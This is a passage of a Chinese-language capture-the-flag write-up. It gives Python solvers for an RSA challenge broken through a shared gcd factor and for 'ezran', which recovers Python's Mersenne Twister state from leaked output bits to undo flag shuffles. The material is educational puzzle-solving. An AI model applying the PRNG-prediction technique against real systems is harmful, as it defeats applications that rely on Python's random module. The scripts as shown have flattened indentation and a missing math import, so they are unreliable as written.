from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# --- 给出的常量 ---
RSA_MODULUS = 18795243691459931102679430418438577487182868999316355192329142792373332586982081116157618183340526639820832594356060100434223256500692328397325525717520080923556460823312550686675855168462443732972471029248411895298194999914208659844399140111591879226279321744653193556611846787451047972910648795242491084639500678558330667893360111323258122486680221135246164012614985963764584815966847653119900209852482555918436454431153882157632072409074334094233788430465032930223125694295658614266389920401471772802803071627375280742728932143483927710162457745102593163282789292008750587642545379046283071314559771249725541879213
RSA_CIPHERTEXT = 10533300439600777643268954021939765793377776034841545127500272060105769355397400380934565940944293911825384343828681859639313880125620499839918040578655561456321389174383085564588456624238888480505180939435564595727140532113029361282409382333574306251485795629774577583957179093609859781367901165327940565735323086825447814974110726030148323680609961403138324646232852291416574755593047121480956947869087939071823527722768175903469966103381291413103667682997447846635505884329254225027757330301667560501132286709888787328511645949099996122044170859558132933579900575094757359623257652088436229324185557055090878651740

AES_IV = b'\x91\x16\x04\xb9\xf0RJ\xdd\xf7}\x8cW\xe7n\x81\x8d'
AES_CIPHERTEXT = bytes.fromhex("bf87027bc63e69d3096365703a6d47b559e0364b1605092b6473ecde6babeff2")
PUBLIC_EXPONENT = 3
# ------------------------------------

def recover_factors_from_gcd(n, c):
"""通过计算 gcd(n, c) 来尝试分解 n"""
print("[1] 正在尝试通过 GCD 攻击分解模数 N...")
shared_factor = math.gcd(n, c)

if shared_factor == 1:
print("[-] 失败:N 和 c 互质,此方法无效。")
return None, None

p = shared_factor
q = n // p
print(f"[+] 成功!发现一个素因子 p = {p}")
print(f"[+] 计算出另一个素因子 q = {q}")
return p, q

def calculate_private_key(p, q, e):
"""根据 p 和 q 计算 RSA 私钥 d"""
print("\n[2] 正在计算 RSA 私钥 'd'...")
phi = (p - 1) * (q - 1)

try:
d = pow(e, -1, phi)
print("[+] 私钥 'd' 计算完成。")
return d
except ValueError:
print("[-] 失败:e 和 phi(N) 不互质,无法计算私钥。")
return None

def decrypt_aes_key(c, d, n):
"""使用 RSA 私钥解密出 AES 密钥"""
print("\n[3] 正在解密 RSA 密文以恢复 AES 密钥...")
key_as_integer = pow(c, d, n)
print("[+] AES 密钥(整数形式)已恢复。")

key_in_bytes = key_as_integer.to_bytes((key_as_integer.bit_length() + 7) // 8, 'big')

if len(key_in_bytes) < 16:
key_in_bytes = (b'\x00' * (16 - len(key_in_bytes))) + key_in_bytes

aes_key = key_in_bytes[:16]
print(f"[+] 最终 AES 密钥 (十六进制): {aes_key.hex()}")
return aes_key

def main_solver():
"""程序主执行流程"""
p, q = recover_factors_from_gcd(RSA_MODULUS, RSA_CIPHERTEXT)
if not p:
return

private_key = calculate_private_key(p, q, PUBLIC_EXPONENT)
if not private_key:
return

aes_key = decrypt_aes_key(RSA_CIPHERTEXT, private_key, RSA_MODULUS)

print("\n[4] 正在使用恢复的 AES 密钥解密 Flag...")
cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv=AES_IV)
decrypted_flag_padded = cipher_aes.decrypt(AES_CIPHERTEXT)

try:
final_flag = unpad(decrypted_flag_padded, AES.block_size)
print("解密成功!Flag 是:")
print(final_flag.decode('utf-8'))
except (ValueError, UnicodeDecodeError) as err:
print(f"[-] Flag 解密失败: {err}")
print(f" 原始解密数据 (十六进制): {decrypted_flag_padded.hex()}")

if __name__ == "__main__":
main_solver()

flag{m_m4y_6e_divIS1b1e_by_p?!}
pic

ezran

题目描述: 一道简单的随机数预测,大概。首先分析题目提供的 task.py 文件。
代码的流程可以分为两个主要部分:

  1. gift 数据生成: 程序在一个循环中,首先调用 getrandbits(8) 生成 r1,紧接着调用 getrandbits(16) 生成 r2。然后通过一系列运算生成 gift 数据。
  2. Flag 混淆: 程序读取 flag 后,使用 random.shuffle() 函数对其进行了 2025 次洗牌操作,最终输出混淆后的 flag 字符串 c。
    要得到原始 flag,必须逆向 shuffle 的过程。这要能够精确预测 random 模块在 shuffle 期间使用的随机数序列。因此,问题的核心转化为利用 gift 数据来破解 Python 的伪随机数生成器。
    Python 的 random 模块基于 MT19937 (Mersenne Twister 19937) 算法。此算法存在一个著名特性:其输出序列在 GF(2) 有限域上是线性的。
  • 内部状态: MT19937 维护一个由 624 个 32 位整数构成的内部状态,总计 19968 比特。
  • 状态恢复攻击: 如果能获取到 19968 个输出比特,就可以构建一个线性方程组来解出完整的内部状态。一旦状态被恢复,后续所有随机数的输出都将是完全可预测的。
  • 比特泄露分析: 关键在于 gift 的生成过程: x = (pow(r1, 2i, 257) & 0xff) ^ r2pow(r1, 2i, 257) & 0xff 的结果是一个 8 位数,它在与 r2(一个 16 位数)异或时,只会影响 r2 的低 8 位。这意味着,x 的高 8 位就是 r2 的高 8 位。
  • 信息量评估: 循环执行 3108 次,每次都能从 gift 的每 2 字节中无损地恢复 r2 的高 8 位。因此,总共可以获得 3108 * 8 = 24864 个已知的输出比特。这个数量超过了恢复状态所需的 19968 比特,因此攻击在理论上是可行的。
    解题步骤
    从 output.txt 中读取 gift 的值,并编写一个简单的循环来提取 r2 的高 8 位,将它们组合成一个比特流 known_bits。
    构建一个变换矩阵 M,使得 M * s = b 成立,其中 s 是未知的 19968 位内部状态向量,b 是我们已知的 known_bits 向量。
    矩阵 M 的每一行代表一个输出比特与内部状态 s 之间的线性关系。可以通过以下方式构建它:
  1. 创建一个 19968 维的单位向量(例如,第 i 位为 1,其余为 0)。
  2. 将这个单位向量作为 MT19937 的初始状态。
  3. 精确模拟 task.py 中的 gift 生成循环,特别是 getrandbits 的调用顺序 (getrandbits(8) 在前, getrandbits(16) 在后)。
  4. 从模拟过程中提取出与 known_bits 相对应的输出比特流。这个比特流就是矩阵 M 的第 i 行。
  5. 重复此过程 19968 次,即可构建完整的变换矩阵 M。
    构建完矩阵 M 和向量 b 后,使用 SageMath 来求解线性方程组。
    s_p = M.solve_right(b)
    在求解过程中,可能会遇到一个常见问题:矩阵 M 的秩(rank)小于 19968。这被称为 秩亏 (Rank Deficiency),意味着方程组的解不唯一,存在一个解空间。
    在这种情况下,仅靠一个特解 s_p 是不够的。需要找到完整的解空间,它由一个特解加上核空间(null space)中的任意向量构成。
  6. 寻找核空间: 使用 M.right_kernel().basis() 找到构成核空间的一组基向量。
  7. 遍历解空间: 如果核空间的维度为 d,则存在2^d个可能的解。通过遍历核空间基向量的所有线性组合,并将它们与特解 s_p 相加,来生成所有的候选状态。
    对于每一个候选的内部状态,进行验证:
  8. 使用该候选状态初始化一个新的 random 对象。
  9. 快进状态: 严格按照 task.py 的逻辑,模拟 gift 的生成过程(调用 getrandbits(8) 和 getrandbits(16) 共 3108 次),以确保 random 对象的状态与 shuffle 开始前的状态同步。
  10. 模拟 Shuffle: 创建一个索引列表 indices = [0, 1, …, len(c)-1]。使用同步好的 random 对象对其进行 2025 次 shuffle。
  11. 反向映射: shuffle 后的 indices 列表揭示了字符的移动规律。通过 original_flag[indices[i]] = shuffled_flag[i] 的逻辑,可以从混淆的 flag c 中还原出原始 flag。
  12. 验证: 检查还原后的字符串是否以 flag{ 开头。第一个满足条件的即为正确答案。
    完整解题脚本:
from Crypto.Util.number import *
import sys
import random
from sage.all import Matrix, GF, vector
from itertools import product

class Solver:
def __init__(self, known_bits):
self.known = known_bits
self.l = len(known_bits)
self.mat = []

def get_bits_from_state(self, state_tuple):
r = random.Random()
r.setstate(state_tuple)
bits = []
for _ in range(3108):

r.getrandbits(8) # r1
rand_val_16 = r.getrandbits(16) # r2


for j in range(8):
bits.append((rand_val_16 >> (15 - j)) & 1)
return bits

def solve(self):
STATE_BITS = 624 * 32
print("Building matrix (this may take a while)...")
for i in range(STATE_BITS):
if (i + 1) % 100 == 0:
print(f"Building matrix: {i+1}/{STATE_BITS}")

state_bits = [0] * STATE_BITS
state_bits[i] = 1

state_ints = []
for k in range(624):
val = 0
for j in range(32):
val = (val << 1) | state_bits[k*32+j]
state_ints.append(val)

state_tuple = (3, tuple(state_ints) + (624,), None)
leaked_bits = self.get_bits_from_state(state_tuple)
self.mat.append(leaked_bits[:self.l])

print("Solving the linear system...")

M = Matrix(GF(2), self.mat).transpose()
b = vector(GF(2), self.known)

print(f"Matrix dimensions: {M.nrows()}x{M.ncols()}. Rank: {M.rank()}")

print("Finding one particular solution...")
try:
s_p = M.solve_right(b)
except ValueError:
print("No solution found for the linear system.")
return None

print("Finding kernel (null space) of the matrix...")
kernel_basis = M.right_kernel().basis()

if not kernel_basis:
print("Solution is unique. Reconstructing state.")
candidate_solutions = [s_p]
else:
d = len(kernel_basis)
print(f"Rank deficiency is {d}. Found {2**d} possible solutions. Searching...")


for combo in product([0, 1], repeat=d):
s_candidate = vector(GF(2), s_p)
for i in range(d):
if combo[i] == 1:
s_candidate += kernel_basis[i]

print(f"Trying solution variant {sum(combo):0{d}b}...")
state_bits = [int(k) for k in s_candidate]

state_ints = []
for i in range(624):
val = 0
for j in range(32):
val = (val << 1) | state_bits[i*32+j]
state_ints.append(val)

state_tuple = (3, tuple(state_ints) + (624,), None)

r = random.Random()
r.setstate(state_tuple)

for _ in range(3108):
r.getrandbits(8)
r.getrandbits(16)

yield r
return

def main():
try:
from sage.all import GF, Matrix
except ImportError:
sys.exit(1)

with open("output.txt", "r") as f:
lines = f.readlines()
gift_long = int(lines[0].split("=")[1].strip())
c_str = lines[1].split("=")[1].strip()

gift_bytes = long_to_bytes(gift_long)

known_bits = []

for i in range(0, len(gift_bytes), 2):
two_bytes = gift_bytes[i:i+2]
val = bytes_to_long(two_bytes)
upper_byte = val >> 8
for j in range(8):
known_bits.append((upper_byte >> (7 - j)) & 1)

solver = Solver(known_bits)

shuffled_flag = list(c_str)
flag_len = len(shuffled_flag)
correct_flag_found = False

for cracked_random in solver.solve():
if cracked_random is None:
continue

indices = list(range(flag_len))

state_copy = cracked_random.getstate()

test_random = random.Random()
test_random.setstate(state_copy)

for _ in range(2025):
test_random.shuffle(indices)

original_flag = [''] * flag_len
for i in range(flag_len):
original_flag[indices[i]] = shuffled_flag[i]

flag = "".join(original_flag)

if "flag{" in flag:
print("\n" + "="*50)
print(f">>> Potentially Correct Flag Found: {flag}")
print("="*50 + "\n")
correct_flag_found = True

break

if not correct_flag_found:
print("Failed to recover the PRNG state after searching all solutions.")

if __name__ == "__main__":
main()

pic